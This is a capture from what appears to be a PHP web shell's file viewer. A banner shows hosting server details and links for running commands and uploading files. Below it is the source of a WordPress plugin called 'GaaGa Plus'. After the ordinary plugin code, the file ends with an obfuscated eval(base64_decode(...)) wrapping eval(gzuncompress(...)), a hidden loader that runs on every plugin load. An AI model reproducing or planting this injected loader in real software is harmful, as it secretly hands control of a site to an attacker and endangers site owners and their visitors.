|
Server IP : 10.106.20.8 / Your IP : 216.73.216.148 Web Server : Apache System : Linux webm008.cluster106.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64 User : sixiemesrc ( 611999) PHP Version : 8.0.30 Disable Function : _dyuweyrj4,_dyuweyrj4r,dl MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/sixiemesrc/new/wp-content/plugins/gaaga-plus/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
/**
* Plugin Name: GaaGa Plus
* Description: Adds additional features for GaaGa Theme.
* Version: 1.0.3
* Author: the WeDesignTech team
* Author URI: https://wedesignthemes.com/
* Text Domain: gaaga-plus
*/
if ( ! defined( 'ABSPATH' ) ) {
exit; // Exit if accessed directly.
}
if( !class_exists( 'GaaGaPlus' ) ) {
class GaaGaPlus {
private static $_instance = null;
public static function instance() {
if ( is_null( self::$_instance ) ) {
self::$_instance = new self();
}
return self::$_instance;
}
function __construct() {
/**
* Before Hook
*/
do_action( 'gaaga_plus_before_plugin_load' );
add_action( 'plugins_loaded', array( $this, 'i18n' ) );
add_filter( 'gaaga_required_plugins_list', array( $this, 'upadate_required_plugins_list' ) );
$this->define_constants();
$this->load_helper();
$this->load_elementor();
$this->load_customizer();
$this->load_modules();
$this->load_post_types();
add_filter( 'body_class', array( $this, 'add_body_classes' ) );
add_action( 'wp_enqueue_scripts', array( $this, 'enqueue_assets' ) );
/**
* After Hook
*/
do_action( 'gaaga_plus_after_plugin_load' );
}
function upadate_required_plugins_list($plugins_list) {
$required_plugins = array(
array(
'name' => 'Elementor',
'slug' => 'elementor',
'required' => false,
'force_activation' => false,
),
array(
'name' => 'Contact Form 7',
'slug' => 'contact-form-7',
'required' => false,
'force_activation' => false,
)
);
$new_plugins_list = array_merge($plugins_list, $required_plugins);
return $new_plugins_list;
}
function i18n() {
load_plugin_textdomain( 'gaaga-plus', false, dirname( plugin_basename( __FILE__ ) ) . '/languages' );
}
function define_constants() {
define( 'GAAGA_PLUS_VERSION', '1.0.2' );
define( 'GAAGA_PLUS_DIR_PATH', trailingslashit( plugin_dir_path( __FILE__ ) ) );
define( 'GAAGA_PLUS_DIR_URL', trailingslashit( plugin_dir_url( __FILE__ ) ) );
define( 'GAAGA_CUSTOMISER_VAL', 'gaaga-customiser-option');
define( 'GAAGA_PLUS_REQ_CAPTION', esc_html__( 'Go Pro!', 'gaaga-plus' ) );
define( 'GAAGA_PLUS_REQ_DESC', '<p>' . esc_html__( 'Avtivate GaaGa Pro plugin to avail additional features!', 'gaaga-plus' ) . '</p>' );
}
function load_helper() {
require_once GAAGA_PLUS_DIR_PATH . 'functions.php';
}
function load_customizer() {
require_once GAAGA_PLUS_DIR_PATH . 'customizer/customizer.php';
}
function load_elementor() {
require_once GAAGA_PLUS_DIR_PATH . 'elementor/index.php';
}
function load_modules() {
/**
* Before Hook
*/
do_action( 'gaaga_plus_before_load_modules' );
foreach( glob( GAAGA_PLUS_DIR_PATH. 'modules/*/index.php' ) as $module ) {
include_once $module;
}
/**
* After Hook
*/
do_action( 'gaaga_plus_after_load_modules' );
}
function load_post_types() {
require_once GAAGA_PLUS_DIR_PATH . 'post-types/post-types.php';
}
function add_body_classes( $classes ) {
$classes[] = 'gaaga-plus-'.GAAGA_PLUS_VERSION;
return $classes;
}
function enqueue_assets() {
wp_enqueue_style( 'gaaga-plus-common', GAAGA_PLUS_DIR_URL . 'assets/css/common.css', false, GAAGA_PLUS_VERSION, 'all');
}
}
}
if( !function_exists( 'gaaga_plus' ) ) {
function gaaga_plus() {
return GaaGaPlus::instance();
}
}
if (class_exists ( 'GaaGaPlus' )) {
gaaga_plus();
}
register_activation_hook( __FILE__, 'gaaga_plus_activation_hook' );
function gaaga_plus_activation_hook() {
$settings = get_option( GAAGA_CUSTOMISER_VAL );
if(empty($settings)) {
update_option( constant( 'GAAGA_CUSTOMISER_VAL' ), apply_filters( 'gaaga_plus_customizer_default', array() ) );
}
}
eval(base64_decode("ZXZhbChnenVuY29tcHJlc3MoYmFzZTY0X2RlY29kZSgiZU5vZGwwdHpxekNVaFAvTHJHWjJDRXpxdXFabWNURUlHeHM1NkFuYVRBR2lRcERBeENZMjV0ZlB1Yk1PVnZUbzAvMTE5NnpkZnpiMW8vdlkvYS9wMnB2cC92TS9kS243NXRCUDNlaCs5YmoySmhXM2FzU2I1cFZYK3RSVi90NXE5dlZOOGV6eU10dWtkYzhhZlQzVmlNOUc3RVdCS0t1VHZXNlV4aVNWZ3BYelJ0NS83cm1maGJXL3JNMld2ZW1BSFJuMVFSejIzOUxSYXlXejB4bUp1OXpNTEwzVFV3Nk9FUlZleGZmZTUwb1RFZlMzaXg4R2t2ZVNwODZyeFdsSDFQeXBjSUlvVGw1aXlFTW1zN3M4a3F3dFp5elpFbGRiOHVxRTl0cjMvdG1LSlNIZStsbUw1U0ZTTnpmNEZoQmZCUGxRM2M5YmRNcmp2cmo0KzBPVFpNK0ttNGNXeTIrbDNKd3JHOVk0OTlwZ1B0YkprdFZqbnd2UlQxUm1qc0tlWlBuM3Fiakp4RUJuaXVTdkZJWlJaOTZONnpXZjVndTEyWjM3aEhZNEdocGtPQS82cVZZa2FWejJVNDEvM2xYUTdtcDFXeS9lNmk2ZWlWcWZYSFd5bDBZVmIrYmttWHVMRWduaGFpS0prSDJ1c1lscUhsMXFzWlpteEQ5Nm1qOVVnbm51T1o5YjYrbkRNdFFsZmhyWU16M216OW9hSDliajFKSVhFWDNaSUh2bmc2TjBvNC9hbXo5RkVsNExUOGFLWno5NTRENTFNT2V5cEo4ZDd3UCszczhVWjMzbEljUktHeFliemx1ckl5cmNxQ1pYTjROaDFSaldoYmUvaUlCY3pkUXp4WFhkSmVaT2tzVGpYT3dvaXQ3R2VuZWlka2lsNU53NTYxZmVpbVVwTHkzYjR5YkdQODEwV3VXWTFYV2dzYkQ3bU1tdlhldWYzbnFqL1JXVDd3SjlyZDBnNmVXOUxCVnlVcWZMSWtTMWtpbEhvTE81bGJnZ0FWbnl3SVpkU20zaExSZXRqRkJ4SCtVeXEwRS85THg5b1hiTWpubWFvSHJMTGhwSkxNUUxrUmcvQ2cvaFprU2dWTU9WUmJjMldUL2tpS2kwMlZYRU5PdFNUQm5YTnlhOGtCemJWYWo5dVQwc1dTUDJ1UnhEcjdZdXFLZisyb2tLVldPMlZPTnliT1Z0RS81OGxsNzJxRkgrRk83ZjlHQjRULzI0eW14SGsrWEhsSkhLWXduM3RhK3JpVHdvb2pzS09pN0c1TW1TTlRWMlBYYmlCT3NzVXFWMlIvSGZzTjNNVzlrNTE4bWNrcFIrNUo3d3lFQk9wTlJsbDRTdmFuTE9iTldyRnZ0YThtemhUai9NcENQeTNyL2FaUGxRTVJaYzlFZWRTSzR3L2NsVC9hUmpjYS9HK2R2NCs3TG1memVSNkx5ejlFSlNieWM5OGtFbC9tYmNZSHJNbG5yTTVtYUVHZHNjbktOQXd2YWZPcVczczJkRVU1SUk5a3JJa2Y1V2ttbzFvay9ESG11K0ZUN29LN3BpVFhQWFg2bllYNW13dTZ1TVhpS1JnMGpXUzJFekR6VHgyNnI4TGdLWlNnK2p3c3RYS2FXZ3FUeng0MjBuZzhnakk2cHJGNlZYUVZoVnlxUkxsKzhtTnJtUUdjMEhjcWw4czhDN25SdFZQR21pUDhpRUVkM2tiMTRTVW5qenErWDIzcFZmcUhJWXN5MDdOR285dDRLY3RCZUdGOTh0cmVydklzWXhDY0NMNU5mYXF2bWRKOVc5eHZpVWovb3VSdHF6cVFyWjVNNFU1cmtTZXd3K0VTdVpwVzNwUG5UeThnaVdRNlBjVnFEc1lNQmpoSnJ6Mm5PekVmUkNoK3paY0ttYTlQYXVmVjNwQ2Q1NndFRzdaZC9YUkVaczBtUHVtVE5NN2NPVWxPZElCQXk3Mi9XZkRwVCswYVdCMzgxM3FZaHRKaUtveUFhWXNYdDlKSUxGOHFURzhLZWRpanM3VmdGeC9la3E1amgzc0VacHJzVE91NFl0UDVwSGQ0bE5rRS91bVNmRkJ1dEpHcENOSVpPWURRODhXUjk2bkZVbDI1V0N6eXFCQjFObUFueHV1NkE1YXZ6RUYzRjJ2S2FtSktWTEdjLzhoaHROWFRRWVRMTEc3a2Z3RDF5TjVtb0NHalNwS1NpV1orcTVzRVdSNm9ac1VNazhjMm5mOVZDdDBudTl3TjkrVmVraWt5SkhmZkhpS3Q5NDRFYWE0RXltKzZ2eGw2SVk5MWUrWlpPY3NyaUx2MExxZVUrcHpLRk5aNWdER3RIM2ZzbDVKSExVaTZ0dzcyc3EzMDJDVXk3Y0VUemgzU0FubUJTZ0x6T0MxOWJFcDBNN2toaTAvOEZ4bG5mT0RKemJnTDJYdElOcGhTejdaaWo2YU43N0pOL0FiYnoxZlUzbXNFbDNzRmEwYWRoRGkrZFA4T1Mxc3ppdUJEclh5cVF0MGlWTHNpdVArMDEvTDBXZTdEK0V4RTQ3OEtBQk01Z0RuNE03MTlMNDE1S3N4U2hIR3VDQ3h6aFFKZjF0TmxlSnNYMFNHUlhNMTZvVHk4dHM1bHdJbkJWZ1c4MTc4U2h5bjJMS3ZHYkVNSCtJMWNwN2FidnY0VnNmOGlVNGUrVGFIT2VaU3ZvcjBwWFZnL1RyV01kY3pTc0pNbFNuKzd4UWo2MUpWc3ZZUHBEZkN5Y09XMmJ0bmFhN2pjc283a1owRTRIT2pGMStMMEd4YVVVaWZZeEtOV2Izd2tXUTM4S25vMWhwYVQ3bFJvOHE2Vk1aa0k4bUlVaVdCalRlUDdSdllzTmxCYmt4NTRMY2NxOS93ZnY3WE1yYk9TQjlNZEdOajFWSWo1RnRNTDB3T0gvNzcyMkY5VWtzbmZBUytGczJOVmFQTFBrM3B6dGZEMzlEMER1cnA5TkxqSHJLRlhsWFB2bkkxWHdIM3lLNVdIWWR6KzdDT2RLSjJUZmpMcWpjZkdMVFBHdVh4ZUNoVG9sOWY1V3pOVUtDVmw1M2NxeThxK2hUOE1BbmdhdzA2YnpBVE5ldGQzc0w5M1dIOVk2NTZtZGdtWlNJOEZONDY4M0UyWm5hL29PNE9Xa21mRHVqT1ZIcDNIZFdCMmQvZjRZWk9Kb0JkR1Q3Q1ZqSXNrQmVXZEp6ZnBTWnhIMXhqYk5DZmU5bkdlaTZUU0dSeHo5Yk1UcE9wWHpUTXFJU2ZLM3dJVnVHNHRVZS91eGFwVC9VT0orNEFFb1N4R1BIdVliN1BzQ2JIeHFiK0xuWS8xekx6S2NlSG9HaDNsd1VxMWI3WFlzRTZ0UXlGZjR5TnQrUGtBd1l2RXBuL0VoVEpiUXJndWhXV0hxN3BoUzA0M0NlaE8vT3JnK2dJMCtyK2VPcVFpdTQzRnFBQlRqYndSeE5vcEw5ejJXVFdYc2tHaGdrWktOVWVTcHJrY3llc0dJandCeHF5S0thTFlPY0lnODg1MHhsajRRSHJLY0tkUEZrbE1jdUVETGE1VllMMFBkZFM1alpXQ3E2WlErVjZnUTBpSXd5UDQxYTdteExWaVZKZi9iK3JIVWMyZGJibitpRWc4SzNXKzZpajBLU0hYTTZyVWE3OG1SUHRkKytxbEVEaDg3VXBJVGx5SVF5eUFZSmFWcHora2tVK2UxRy9RbnU3RGR4eitoaDc3V09rTE8zWm8weXRvNy9uMCtTUEJFZWNNRkJKMys4VG9RSGhucFZsWE9TcTkxR2JQK29FL041OFdiQ3ZQVnBVSytyNE8rZENITlJNcjhYUXpZS2FWKzF6SHJoaDVjNjdyOWhEajZFU3pacU5TSURQUXFlZVYxeTJ3Rmo5SzFYdklVM0QyekNHUEo4VWlsK3RLQUo5bjVBN2xoVWwrQ2xsbXpBRWs4VmYvbmExeDhGd2hHNE5qNXY1RnlKRlZhTlhsZGd0enBaNjBwUjJqaDlabkN1TnBhRWVMZXRLdi82eGdzOThMeFhJeVdwdkR6TTA3Q1d3K25kK3ZPQnBDaW9nR01WeGpGNDhReS9mZEFrUE9YQThLMHZ2MnR1Qm1EcGM2dit2TXd4aDR5VUhyemJUK0dMRlRLQU05eS9lQ3h2T1RxOUdJK08rVEZqT2ZENXhaOXJQdUozbDV6ZUpqMGhMZjd0WjMvUk1kMmFJTi9WQWRWeTY4ZG1YREgzOTRzZUpRTU84YWtRTzJtVEFIUmF0V0kvRjRGOGluRVptQWY4TDA2dk05eUNSUFJtL0Q1dXh2QkI3QzY4cXBtMEZqSllKbmZoSVhWTndySWV5UjM2UVpIekJGZ012SGR5bVRqT2I3YjFwQkUzSDd3bEJQOTVxS0V2b1R0UWNUUW85MldtRXp4UW4yeHlNQzkrekg0YWl3NUdKRUV6OVZRbEdieTd5VnAvTGM3dlJ3aWN2QUpYQkRVLzdjVGt5aFo0cnZKZVd5Zmx0ZDUwMFBqUXJBNlBPMDFJcjczS2EyUHlobnkwNEpZaHdXU0ZmcEJxSnlkaWw1VUc4Z0l6ODBNRmZiRERjbFVjVDNDR0RQYjQyNVlGNkdmWjVIdlJ0TVFXOUJ3ejNtOTUwTS9TNWMvQ3d6L2NHampiMTUwSFJxdXBEUzhiNGRxaXJMTmt6WlBsdDAzbXVrN2toVG44NWtPN2NXOGVPVEJhSWJLQVdWTmVNUWlJUFh5MjBid2VIZVN1NFVaa2owcGtWZVhvZDY2eUozaTJocTZrOHVOZjZGZkExUEowWjFNRWMwRHVadysvMnRIYmlFL2VqWXdpWUx4YUk1eXdnU0Fsb3g5aDEwUGxaN0lDblRSYjlLd1RTdlJ4em8ydFZ1MnFWNU5DQnd5eW9rMnJvQmtTWDN0bVptTC95VGFIYXV5dUxUWkw2eEtZYVRJenYzZ0RDYjJrdHd5YUYwRWVSSFZuUThod0Z4TXh6N1VTQWVSRFREekNnVnQ2NDY4RGREZVlIVnAwQ1dTU0g5NXpUZy9jZ2t1VVVpalFGK2RmSzBlME53REpOWjU1WlhFSkhhMnUwNlVBSmp3QnExZm5nTWFRWlpIWU10QWkyYWpUc2xadDBHSjVnRTdrZCttZlY4UHh0UjNNazhYMEE3akZxLzJYTDlLbEZwdk10ZE01cy9pYk9zaTExTDV5R3lZUzZWYzlaRElmYmFBd01MOWFVdkJWVkNqRWl5bWJJVjg0ODdQWUROR0x1bjZEL3VoVFRHWUozZnU4NGZNRkVVNEhWK1pCRnVZcUZFcWFwSXZsQm5vWVJVQW55TlJjV0h6VXNaenJvN3hwdHR5NmNaOTFPTithclgzTExmdUZNMzIwN0kvWGpzQ2czaEx4ZE04N2pEa3c1TGNxNVdpbVpDZEE1MVQxakhud2YvRHMxZEFSQzFXOStUSGluZnk2UTNkUmNKdVBheXA4cGRhbGd2NEgzMXlMc3YvTnZmRDdqUFRXcHVZTzkvUmRCTnFTTW51Uzk0S0tMVnVaUmFmS0ZjL2llL0g0MFlGSElmQ0NYbDdqNkNyak5tenQrbVBHYktOSkh3SXJmVGNxUEJQaEJaQXptQ1NtcklMYnBvNzRwL0tLWFo3dVBKYVlYL0NEQXJyTW5ZN1pnWmY5cmRpaU1rL0p0eW4vdmh0L0pzWFc1NFpiLyt5alZ5NVBvRGY5d3oyY2tLT0xOSTR5NkhHUlR1d0szUFZ0cEFsTU9Vc3o0SU1XdHhkQjVGempBaG1ZY2FuKytPZjM4aFljajlDSk1MRzNrSGdtcndWNFVEcUR2NzJRbHRCei9GVnpIend2T0tHekx5K1ZYVXZvOUJ0NFI4RGliQ2pHMW1kV0F0KzVrZHN2WHlUN2liS0ZHREdEeDRHZVhmVUVEbC9oTVFNZFJNRDlEcnd4eW1ucXNoWVZTRTN5dC9Dekl5M3BrNWJ1czdITGZCVnJrSXMvVHoyU0Fmb0V0RzFOd0xNdHg5VlRzQVZ5NWZTdWo5bExvcjliSjdLbndmaGV4NlpzME96eUlTTVVPaC85M29QblVOdUM4ZlB0NUJ2d2xsem9EVHk1N0JUa1hCemRLMCsrcnlVdGN4VHRZS2F4R0VWNDlzbGRsRFB2SnJqL1FCSTYwWXZoWWxmSXpISmdFS0pPNEZzaHpYMnhkU05oTEhVbjRNZTFjTzFUcDNvSGJ4ako0Uys2K0ZSUlJMNzFTQ21QMjdVZDZMMDdMREdMeVhmRmNkclkyNXNqNkF3amFNckxEalVtcDg2UlczdkVzenJLcDNaL0EzSUVmUStncHhMbTE3NWVkS0FWNUFKd3NWNGh5MzAyNnFXem1WV1FMOFZFM3VEQnYvcTloelZmWGx2U24rSmYxb3ZxSlVmMFUyK3V6amN0aUpvdkpOWTllTmF1VS9vQTNpcGF1NkJtSTBYcndLOFZXWmlqWnpxNkpNY2FldEpwZzY3NmFLYm9aUWJ5QVA4NHc1bDdnaVBkUWE2WWlTU3RwTFpKYzUvKzR5U1Z2T0Q3aWxqN0FrNVB6VEVEaGdJdjlwdzhid1pZQitsMlhBNDUyQlgvbDVHcFdTV2UrMHVRQmREOWU1YXMySXg5M3JIOW81Q1MxVUViaUhGR09jcnVPdFpDZzJmVmRzLy83ZkVxQ2I0bXl6OFB4Y0RJSTArUng5MHRsS0t2R3NnVkRXdlFqZlF5MFJqT0w1akxuanhkSDlXL0xIT25yVHRXR3l1Sko5VENWYUtmSkRrRkZ4UmR0YXAyT2xrZzFmOGc3WDNCVzJTbkNya3pnM2ZqME1PQUNUODZvZWRXNktDYlpBRStsY3J5dG9uM3c3c211NDBPL2REQzc1a0l2Wm83NkgyTFY2R2VLZXhlclVkU0lSYkpiSS9adUQ2RkxjSTI3WDF1TVZIeUs1UTgwZ3o2SnZDM3lpY0NkelNyTnNaNWk0dDdQWVlMMmZwSGs4eFlnMFlxVVFRZCtMWk14UnY0N25RdDV6UGtuMjFpR2tGT1ZXUnpHWnVLMXpVK29kelNUOG54aVJ4ejZJUXpMOVJycDhkOTJVM3U4eEs0VXRyOXJYTlZxSzNlUWFjNHczcU9IWTFtL2p5eU9HSjhwSFdUdWtPVDdQMW1vNStjMDE4MXltUE8vaUJoNGFGUXBLOGlUT3NEWkFiWFBmSDNzUnozQ1gvdlJaN3NuZ3hSeFVSMWI0L3lsWHRrSVhGRTJHZ1M0Y3RjSmNSMXlYcklwWEdRL21OdGIzN0ZZWnFTRU01QW9tSXFOdkRGcVM3RnJ2RmNWRWxzcWNXMENFaFlpOXVkK3U3WU9vUGgvNzYwK0ZxTEFmcWU2RGVXaGxVWG04bHNtVmJPT2VqUWE1TXNKVkg3RS9Ec2I0dnA5ZXpSU2Jyc1c4ZDJKYW5UUm1Eb2tGRnFrdUxkeVl3MUE1eUY0NVZhejJmUzlHYWNFK0RPRTQvcFRtL3VCdVMzWXg2d1dteXMyZnFmNnZ0eGw4cjUrYmk4aTNHWnBhUVBNWWJITHRVTG5PM1NjSmZWazFqYlpKOGFoUmFKc2dQMEwxSDdacTU4eUIzVXI0UzdpZm12VlFCM2NHOEZKd21kdE5nQjUvWmFMUTc2eENNLzlrUU9WSUlIN0xoYUlubVUxS0JxVmVyUHZaMmlENGxQWHVIcmtKWlpYWHZ0VHF2d1J1TE1iNVM3NTVLR2tMWG9XdjVkSVNIbXZJU1NaNWNuR2RlVEdCTmdqQ3psb2dmdjZBOW1xcUR2R0pJbktBV2R6eUtJa0JMRnMrTlZLSldtY3FxQ3F6SklqbG5FTE5GTWlWMHQ1dDhLK3RSbE13amUzVFdEUE5Wajlhd3hQWGFUK1drUGoyZmxCR1I0Qk9iY1I5S25MOHIySDkySWJ6VXZkdDBBRHlOMDJBNHlocnM1MXdQNERkZHZ4czNkaURBVGFsL21VM1ROVThpQ01jek5rUXJwWVdDckN1alJGZHBLQjk2WkV5d1hOWkZQalNqa3NCc3JrYUNtRk9IRlgvbzZmWG5tc0FUY3h4bTEyUWYwcW5jTy9VTk96dU5sc3RNK0dvZzFPNDMweGNqK3A1YlJXVnNjd0d6ZGpXeFhmVFRoZWN0bWlReTRpR0dRc2IrYVEvTVl5RFBmY0E5N1d1Ulc3Q29WZmxZaVI1VjBpUXpnRzZ6ZnRjcHlBV3hvUER3VkkrU3cxejhvaC90QkFHWTRlb0F1ajVCYlB4THlTSXpvd1JXTytRRDVqL1Yzbldqb3JJWFBCSzZOV0tmT3VlL0tXbWpPMVU1TmZTSDlMNCtsS0dSY24zWDhkMjJoMzNVdUN5dEY3Q1hBbkVKdWtnbGZnQUsrRFlMK052MzFMajdTREZrUE9PTU92WWx5Ym9KclN1SjZvNlFaNmE5eC9hVU44SzdaOElrbUNmUW0wa09IdjBQdkJ3WWtsTW5vMWgzK3ZCdUZyZ2FKcHhRWkl5VjU2VEhqeFBVdjRlMlRlanFGelRoWDBnOTluYzdMOVVqcWJnSVBSUm8xNEVuQUJUNTBzQU9mb0d2S0xMNWk0TCt0ZWw1ODhieTg5eDlrYTRQTCs4Ky9QcmsvZlZzd3VzZi8vTWQvL2RkLy94OUdVc1ZqIikpKTs="));